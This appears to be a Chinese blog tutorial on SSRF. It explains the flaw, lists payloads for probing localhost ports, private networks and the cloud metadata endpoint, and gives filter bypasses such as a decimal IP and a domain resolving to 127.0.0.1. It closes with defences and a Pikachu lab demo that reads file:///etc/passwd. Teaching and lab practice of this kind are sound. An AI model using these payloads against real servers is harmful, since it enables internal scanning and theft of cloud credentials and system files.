时间:2026-03-06 21:50
人气:
作者:admin
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种 Web 安全漏洞。
攻击者可以诱导服务器去访问攻击者指定的地址,而不是由服务器正常访问预期的资源。
简单理解:
攻击者 → 控制服务器去请求某个URL → 服务器帮攻击者访问内部或敏感资源
因为这个请求是服务器发出的,所以它可能访问到:
很多网站有这样的功能:
例如:
POST /fetch
url=http://example.com/image.jpg
服务器代码可能是:
requests.get(url)
如果程序没有严格校验 URL,攻击者就可以改成:
http://127.0.0.1:8080/admin
服务器就会请求:
127.0.0.1:8080/admin
这就是 SSRF。
假设网站有一个 图片抓取功能:
https://example.com/image?url=
正常使用:
https://example.com/image?url=https://site.com/a.jpg
服务器会下载:
https://site.com/a.jpg
攻击者可以改成:
https://example.com/image?url=http://127.0.0.1:3306
服务器就会访问:
127.0.0.1:3306
这样就可以:
http://127.0.0.1
http://localhost
可能访问:
例如:
http://192.168.0.1
http://10.0.0.5
http://172.16.x.x
可以扫描企业内网。
在云服务器中:
http://169.254.169.254
例如 AWS:
http://169.254.169.254/latest/meta-data/
可能拿到:
一般步骤:
1️⃣ 找到 可以控制 URL 的地方
例如:
image_url=
callback=
redirect=
file=
url=
2️⃣ 测试是否 SSRF
尝试:
http://127.0.0.1
3️⃣ 扫描端口
http://127.0.0.1:80
http://127.0.0.1:22
http://127.0.0.1:6379
4️⃣ 访问敏感接口
例如:
http://127.0.0.1/admin
5️⃣ 云环境攻击
http://169.254.169.254
很多网站会过滤:
127.0.0.1
localhost
攻击者可能绕过:
http://2130706433
其实是:
127.0.0.1
http://[::1]
使用域名:
http://attacker.com
DNS 解析到:
127.0.0.1
开发者应该:
只允许访问指定域名
例如:
example.com
cdn.example.com
过滤:
127.0.0.1
10.x.x.x
192.168.x.x
172.16.x.x
169.254.169.254
防止 DNS rebinding。
服务器防火墙禁止访问:
内网
metadata
本机端口
点击反正都读了,那就在来一首吧,可以看到浏览器的url如下:
http://192.168.103.130:8082/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
读取系统文件:http://192.168.103.130:8082/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///etc/passwd
显示如下:

访问网站:http://192.168.103.130:8082/pikachu/vul/ssrf/ssrf_fgc.php?file=https://www.baidu.com
显示如下:

Apple Mac mini M4 (24G)
ubuntu作为靶机
192.168.103.130kali作为攻击机
192.168.103.128ubuntu中安装docker靶场:hominsu/pikachu:latest
# 拉取docker镜像
sudo docker pull hominsu/pikachu
# 为镜像创建容器,并运行
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口设为 8082
???? 不一定对,如有错误,欢迎指出????。